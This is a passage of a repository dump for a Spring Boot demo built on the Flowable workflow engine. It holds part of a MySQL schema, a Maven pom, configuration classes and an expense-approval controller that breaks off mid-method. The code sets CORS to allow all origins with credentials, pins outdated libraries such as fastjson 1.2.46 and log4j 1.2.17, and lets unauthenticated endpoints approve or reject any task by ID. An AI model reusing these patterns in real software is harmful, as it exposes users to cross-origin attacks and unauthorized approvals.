NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `EXCLUSIVE_` tinyint(1) DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROCESS_INSTANCE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `RETRIES_` int(11) DEFAULT NULL,\n  `EXCEPTION_STACK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXCEPTION_MSG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DUEDATE_` timestamp(3) NULL DEFAULT NULL,\n  `REPEAT_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_CFG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CUSTOM_VALUES_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_SUSPENDED_JOB_EXCEPTION_STACK_ID` (`EXCEPTION_STACK_ID_`),\n  KEY `ACT_IDX_SUSPENDED_JOB_CUSTOM_VALUES_ID` (`CUSTOM_VALUES_ID_`),\n  KEY `ACT_IDX_SJOB_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_SJOB_SUB_SCOPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_SJOB_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_FK_SUSPENDED_JOB_EXECUTION` (`EXECUTION_ID_`),\n  KEY `ACT_FK_SUSPENDED_JOB_PROCESS_INSTANCE` (`PROCESS_INSTANCE_ID_`),\n  KEY `ACT_FK_SUSPENDED_JOB_PROC_DEF` (`PROC_DEF_ID_`),\n  CONSTRAINT `ACT_FK_SUSPENDED_JOB_CUSTOM_VALUES` FOREIGN KEY (`CUSTOM_VALUES_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_SUSPENDED_JOB_EXCEPTION` FOREIGN KEY (`EXCEPTION_STACK_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_SUSPENDED_JOB_EXECUTION` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_SUSPENDED_JOB_PROCESS_INSTANCE` FOREIGN KEY (`PROCESS_INSTANCE_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_SUSPENDED_JOB_PROC_DEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_suspended_job\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_task\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_task`;\nCREATE TABLE `act_ru_task` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `PARENT_TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DESCRIPTION_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_DEF_KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `OWNER_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `ASSIGNEE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `DELEGATION_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PRIORITY_` int(11) DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `DUE_DATE_` datetime(3) DEFAULT NULL,\n  `CATEGORY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUSPENSION_STATE_` int(11) DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  `FORM_KEY_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `CLAIM_TIME_` datetime(3) DEFAULT NULL,\n  `IS_COUNT_ENABLED_` tinyint(4) DEFAULT NULL,\n  `VAR_COUNT_` int(11) DEFAULT NULL,\n  `ID_LINK_COUNT_` int(11) DEFAULT NULL,\n  `SUB_TASK_COUNT_` int(11) DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_TASK_CREATE` (`CREATE_TIME_`),\n  KEY `ACT_IDX_TASK_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_TASK_SUB_SCOPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_TASK_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_FK_TASK_EXE` (`EXECUTION_ID_`),\n  KEY `ACT_FK_TASK_PROCINST` (`PROC_INST_ID_`),\n  KEY `ACT_FK_TASK_PROCDEF` (`PROC_DEF_ID_`),\n  CONSTRAINT `ACT_FK_TASK_EXE` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_TASK_PROCDEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`),\n  CONSTRAINT `ACT_FK_TASK_PROCINST` FOREIGN KEY (`PROC_INST_ID_`) REFERENCES `act_ru_execution` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_task\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_timer_job\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_timer_job`;\nCREATE TABLE `act_ru_timer_job` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `LOCK_EXP_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `LOCK_OWNER_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `EXCLUSIVE_` tinyint(1) DEFAULT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROCESS_INSTANCE_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_DEF_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_DEFINITION_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `RETRIES_` int(11) DEFAULT NULL,\n  `EXCEPTION_STACK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `EXCEPTION_MSG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `DUEDATE_` timestamp(3) NULL DEFAULT NULL,\n  `REPEAT_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `HANDLER_CFG_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `CUSTOM_VALUES_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `CREATE_TIME_` timestamp(3) NULL DEFAULT NULL,\n  `TENANT_ID_` varchar(255) COLLATE utf8_bin DEFAULT '',\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_TIMER_JOB_EXCEPTION_STACK_ID` (`EXCEPTION_STACK_ID_`),\n  KEY `ACT_IDX_TIMER_JOB_CUSTOM_VALUES_ID` (`CUSTOM_VALUES_ID_`),\n  KEY `ACT_IDX_TJOB_SCOPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_TJOB_SUB_SCOPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_TJOB_SCOPE_DEF` (`SCOPE_DEFINITION_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_FK_TIMER_JOB_EXECUTION` (`EXECUTION_ID_`),\n  KEY `ACT_FK_TIMER_JOB_PROCESS_INSTANCE` (`PROCESS_INSTANCE_ID_`),\n  KEY `ACT_FK_TIMER_JOB_PROC_DEF` (`PROC_DEF_ID_`),\n  CONSTRAINT `ACT_FK_TIMER_JOB_CUSTOM_VALUES` FOREIGN KEY (`CUSTOM_VALUES_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_TIMER_JOB_EXCEPTION` FOREIGN KEY (`EXCEPTION_STACK_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_TIMER_JOB_EXECUTION` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_TIMER_JOB_PROCESS_INSTANCE` FOREIGN KEY (`PROCESS_INSTANCE_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_TIMER_JOB_PROC_DEF` FOREIGN KEY (`PROC_DEF_ID_`) REFERENCES `act_re_procdef` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_timer_job\n-- ----------------------------\n\n-- ----------------------------\n-- Table structure for act_ru_variable\n-- ----------------------------\nDROP TABLE IF EXISTS `act_ru_variable`;\nCREATE TABLE `act_ru_variable` (\n  `ID_` varchar(64) COLLATE utf8_bin NOT NULL,\n  `REV_` int(11) DEFAULT NULL,\n  `TYPE_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `NAME_` varchar(255) COLLATE utf8_bin NOT NULL,\n  `EXECUTION_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `PROC_INST_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `TASK_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SUB_SCOPE_ID_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `SCOPE_TYPE_` varchar(255) COLLATE utf8_bin DEFAULT NULL,\n  `BYTEARRAY_ID_` varchar(64) COLLATE utf8_bin DEFAULT NULL,\n  `DOUBLE_` double DEFAULT NULL,\n  `LONG_` bigint(20) DEFAULT NULL,\n  `TEXT_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  `TEXT2_` varchar(4000) COLLATE utf8_bin DEFAULT NULL,\n  PRIMARY KEY (`ID_`),\n  KEY `ACT_IDX_RU_VAR_SCOPE_ID_TYPE` (`SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_IDX_RU_VAR_SUB_ID_TYPE` (`SUB_SCOPE_ID_`,`SCOPE_TYPE_`),\n  KEY `ACT_FK_VAR_BYTEARRAY` (`BYTEARRAY_ID_`),\n  KEY `ACT_IDX_VARIABLE_TASK_ID` (`TASK_ID_`),\n  KEY `ACT_FK_VAR_EXE` (`EXECUTION_ID_`),\n  KEY `ACT_FK_VAR_PROCINST` (`PROC_INST_ID_`),\n  CONSTRAINT `ACT_FK_VAR_BYTEARRAY` FOREIGN KEY (`BYTEARRAY_ID_`) REFERENCES `act_ge_bytearray` (`ID_`),\n  CONSTRAINT `ACT_FK_VAR_EXE` FOREIGN KEY (`EXECUTION_ID_`) REFERENCES `act_ru_execution` (`ID_`),\n  CONSTRAINT `ACT_FK_VAR_PROCINST` FOREIGN KEY (`PROC_INST_ID_`) REFERENCES `act_ru_execution` (`ID_`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin;\n\n-- ----------------------------\n-- Records of act_ru_variable\n-- ----------------------------\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.5.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_flowable</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <flowable.version>6.4.0</flowable.version>\n        <mybatis-spring-boot>1.3.1</mybatis-spring-boot>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!--flowable工作流依赖-->\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-spring-boot-starter-basic</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <!--mysql依赖-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>8.0.11</version>\n        </dependency>\n\n        <!-- Spring Boot Mybatis 依赖 -->\n        <dependency>\n            <groupId>org.mybatis.spring.boot</groupId>\n            <artifactId>mybatis-spring-boot-starter</artifactId>\n            <version>${mybatis-spring-boot}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.0.31</version>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <version>1.2.17</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.46</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-common</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-modeler-rest</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-idm-spring-configurator</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-idm-rest</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.flowable</groupId>\n            <artifactId>flowable-ui-idm-conf</artifactId>\n            <version>${flowable.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.liquibase</groupId>\n            <artifactId>liquibase-core</artifactId>\n            <version>3.6.2</version>\n        </dependency>\n\n        <!--security -->\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-config</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-crypto</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-web</artifactId>\n        </dependency>\n        <!-- Servlet -->\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <scope>provided</scope>\n        </dependency>\n    </dependencies>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/DemoApplication.java",
    "content": "package com.example.demo;\n\nimport com.example.demo.config.ApplicationConfiguration;\nimport com.example.demo.servlet.AppDispatcherServletConfiguration;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Import;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\n\n@Import({\n        ApplicationConfiguration.class,\n        AppDispatcherServletConfiguration.class\n})\n@EnableTransactionManagement\n@SpringBootApplication\npublic class DemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(DemoApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/config/ApplicationConfiguration.java",
    "content": "package com.example.demo.config;\n\nimport org.flowable.ui.idm.properties.FlowableIdmAppProperties;\nimport org.flowable.ui.idm.servlet.ApiDispatcherServletConfiguration;\nimport org.flowable.ui.modeler.properties.FlowableModelerAppProperties;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.boot.web.servlet.ServletRegistrationBean;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.FilterType;\nimport org.springframework.web.context.support.AnnotationConfigWebApplicationContext;\nimport org.springframework.web.servlet.DispatcherServlet;\n\n\n@Configuration\n@EnableConfigurationProperties({FlowableIdmAppProperties.class, FlowableModelerAppProperties.class})\n@ComponentScan(basePackages = {\n        \"org.flowable.ui.idm.conf\",\n        \"org.flowable.ui.idm.security\",\n        \"org.flowable.ui.idm.service\",\n        \"org.flowable.ui.modeler.repository\",\n        \"org.flowable.ui.modeler.service\",\n        \"org.flowable.ui.common.filter\",\n        \"org.flowable.ui.common.service\",\n        \"org.flowable.ui.common.repository\",\n        \"org.flowable.ui.common.security\",\n        \"org.flowable.ui.common.tenant\"}, excludeFilters = {\n        @ComponentScan.Filter(type = FilterType.ASSIGNABLE_TYPE, value = org.flowable.ui.idm.conf.ApplicationConfiguration.class)})\npublic class ApplicationConfiguration {\n\n\n    @Bean\n    public ServletRegistrationBean apiServlet(ApplicationContext applicationContext) {\n        AnnotationConfigWebApplicationContext dispatcherServletConfiguration = new AnnotationConfigWebApplicationContext();\n        dispatcherServletConfiguration.setParent(applicationContext);\n        dispatcherServletConfiguration.register(ApiDispatcherServletConfiguration.class);\n        DispatcherServlet servlet = new DispatcherServlet(dispatcherServletConfiguration);\n        ServletRegistrationBean registrationBean = new ServletRegistrationBean(servlet, \"/api/*\");\n        registrationBean.setName(\"Flowable IDM App API Servlet\");\n        registrationBean.setLoadOnStartup(1);\n        registrationBean.setAsyncSupported(true);\n        return registrationBean;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/config/DatabaseConfiguration.java",
    "content": "/* Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.example.demo.config;\n\nimport liquibase.Liquibase;\nimport liquibase.database.Database;\nimport liquibase.database.DatabaseConnection;\nimport liquibase.database.DatabaseFactory;\nimport liquibase.database.jvm.JdbcConnection;\nimport liquibase.exception.DatabaseException;\nimport liquibase.resource.ClassLoaderResourceAccessor;\nimport org.flowable.ui.common.service.exception.InternalServerErrorException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.sql.DataSource;\n\n\n@Configuration\npublic class DatabaseConfiguration {\n\n    private static final Logger LOGGER = LoggerFactory.getLogger(DatabaseConfiguration.class);\n\n    protected static final String LIQUIBASE_CHANGELOG_PREFIX = \"ACT_DE_\";\n\n    @Bean\n    public Liquibase liquibase(DataSource dataSource) {\n        LOGGER.info(\"Configuring Liquibase\");\n\n        Liquibase liquibase = null;\n        try {\n            DatabaseConnection connection = new JdbcConnection(dataSource.getConnection());\n            Database database = DatabaseFactory.getInstance().findCorrectDatabaseImplementation(connection);\n            database.setDatabaseChangeLogTableName(LIQUIBASE_CHANGELOG_PREFIX + database.getDatabaseChangeLogTableName());\n            database.setDatabaseChangeLogLockTableName(LIQUIBASE_CHANGELOG_PREFIX + database.getDatabaseChangeLogLockTableName());\n\n            liquibase = new Liquibase(\"META-INF/liquibase/flowable-modeler-app-db-changelog.xml\", new ClassLoaderResourceAccessor(), database);\n            liquibase.update(\"flowable\");\n            return liquibase;\n        } catch (Exception e) {\n            throw new InternalServerErrorException(\"Error creating liquibase database\", e);\n        } finally {\n            closeDatabase(liquibase);\n        }\n    }\n\n    private void closeDatabase(Liquibase liquibase) {\n        if (liquibase != null) {\n            Database database = liquibase.getDatabase();\n            if (database != null) {\n                try {\n                    database.close();\n                } catch (DatabaseException e) {\n                    LOGGER.warn(\"Error closing database\", e);\n                }\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/config/FlowableConfig.java",
    "content": "package com.example.demo.config;\n\nimport org.flowable.spring.SpringProcessEngineConfiguration;\nimport org.flowable.spring.boot.EngineConfigurationConfigurer;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @Author: fumin\n * @Description:\n * @Date: Create in 2019/5/20 10:26\n */\n@Configuration\npublic class FlowableConfig implements EngineConfigurationConfigurer<SpringProcessEngineConfiguration> {\n    @Override\n    public void configure(SpringProcessEngineConfiguration springProcessEngineConfiguration) {\n        springProcessEngineConfiguration.setActivityFontName(\"宋体\");\n        springProcessEngineConfiguration.setLabelFontName(\"宋体\");\n        springProcessEngineConfiguration.setAnnotationFontName(\"宋体\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/config/IdmProcessEngineConfiguration.java",
    "content": "package com.example.demo.config;\n\nimport org.flowable.idm.engine.IdmEngineConfiguration;\nimport org.flowable.idm.spring.SpringIdmEngineConfiguration;\nimport org.flowable.idm.spring.authentication.SpringEncoder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\nimport org.springframework.security.crypto.password.PasswordEncoder;\n\n\n@Configuration\npublic class IdmProcessEngineConfiguration extends SpringIdmEngineConfiguration {\n\n    @Bean\n    public PasswordEncoder bCryptEncoder() {\n        return new BCryptPasswordEncoder();\n    }\n\n    @Bean\n    public SpringEncoder passwordEncoder(){\n        return new SpringEncoder(bCryptEncoder());\n    }\n\n    @Override\n    public IdmEngineConfiguration setPasswordEncoder(org.flowable.idm.api.PasswordEncoder passwordEncoder) {\n        return super.setPasswordEncoder(passwordEncoder());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/config/MyWebMvcConfigurerAdapter.java",
    "content": "package com.example.demo.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.cors.CorsConfiguration;\nimport org.springframework.web.cors.UrlBasedCorsConfigurationSource;\nimport org.springframework.web.filter.CorsFilter;\nimport org.springframework.web.servlet.config.annotation.CorsRegistry;\nimport org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\n\n@Configuration\npublic class MyWebMvcConfigurerAdapter implements WebMvcConfigurer {\n\n    //静态资源配置\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/p/**\")\n                .addResourceLocations(\"classpath:/templates/page/\");\n        registry.addResourceHandler(\"/a/**\")\n                .addResourceLocations(\"classpath:/templates/assets/\");\n        registry.addResourceHandler(\"/**\")\n                .addResourceLocations(\"classpath:/static/\");\n        registry.addResourceHandler(\"/idm/**\")\n                .addResourceLocations(\"classpath:/idm/\");\n    }\n\n    //跨域配置\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        registry.addMapping(\"/**\")\n                .allowedMethods(\"*\")\n                .allowedOrigins(\"*\")\n                .allowedHeaders(\"*\")\n                .allowCredentials(true);\n    }\n\n    private CorsConfiguration buildConfig() {\n        CorsConfiguration corsConfiguration = new CorsConfiguration();\n        corsConfiguration.addAllowedOrigin(\"*\");\n        corsConfiguration.setAllowCredentials(true);\n        corsConfiguration.addAllowedHeader(\"*\");\n        corsConfiguration.addAllowedMethod(\"*\");\n\n        return corsConfiguration;\n    }\n\n\n    /**\n     * 跨域过滤器\n     *\n     * @return\n     */\n    @Bean\n    public CorsFilter corsFilter() {\n        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();\n        source.registerCorsConfiguration(\"/**\", buildConfig()); // 4\n        return new CorsFilter(source);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_flowable/src/main/java/com/example/demo/controller/ExpenseController.java",
    "content": "package com.example.demo.controller;\n\nimport org.flowable.bpmn.model.BpmnModel;\nimport org.flowable.engine.*;\nimport org.flowable.engine.runtime.Execution;\nimport org.flowable.engine.runtime.ProcessInstance;\nimport org.flowable.image.ProcessDiagramGenerator;\nimport org.flowable.task.api.Task;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\n\n/**\n * @Author: fumin\n * @Description:\n * @Date: Create in 2019/5/20 9:45\n */\n@Controller\npublic class ExpenseController {\n\n    @Autowired\n    private RuntimeService runtimeService;\n    @Autowired\n    private TaskService taskService;\n    @Autowired\n    private RepositoryService repositoryService;\n    @Resource\n    private ProcessEngine processEngine;\n\n    /**\n     * 添加报销\n     *\n     * @param userId    用户Id\n     * @param money     报销金额\n     * @param descption 描述\n     */\n    @RequestMapping(value = \"add\")\n    @ResponseBody\n    public String addExpense(String userId, Integer money, String descption) {\n        //启动流程\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"taskUser\", userId);\n        map.put(\"money\", money);\n        ProcessInstance processInstance = runtimeService.startProcessInstanceByKey(\"Expense\", map);\n        return \"提交成功.流程Id为：\" + processInstance.getId();\n    }\n\n    /**\n     * 获取审批管理列表\n     */\n    @RequestMapping(value = \"/list\")\n    @ResponseBody\n    public Object list(String userId) {\n        List<Task> tasks = taskService.createTaskQuery().taskAssignee(userId).orderByTaskCreateTime().desc().list();\n        for (Task task : tasks) {\n        }\n        System.out.println(tasks.toString());\n\n        return tasks.toString();\n    }\n\n\n    /**\n     * 批准\n     *\n     * @param taskId 任务ID\n     */\n    @RequestMapping(value = \"apply\")\n    @ResponseBody\n    public String apply(String taskId) {\n         List<Task> t = taskService.createTaskQuery().list();\n         Task task = taskService.createTaskQuery().taskId(taskId).singleResult();\n\n        //Task task = taskService.createTaskQuery().taskId(taskId).singleResult();\n\n        if (task == null) {\n            throw new RuntimeException(\"流程不存在\");\n        }\n        //通过审核\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"outcome\", \"通过\");\n        taskService.complete(taskId, map);\n        return \"processed ok!\";\n    }\n\n    /**\n     * 拒绝\n     */\n    @ResponseBody\n    @RequestMapping(value = \"reject\")\n    public String reject(String taskId) {\n        HashMap<String, Object> map = new HashMap<>();\n        map.put(\"outcome\", \"驳回\");\n        taskService.complete(taskId, map);\n        return \"reject\";\n    }\n\n    /**\n     * 生成流程图\n     *\n     * @param processId 任务ID\n     */\n    @RequestMapping(value = \"processDiagram\")\n    public void genProcessDiagram(HttpServletResponse httpServletResponse, String processId) throws Exception {\n        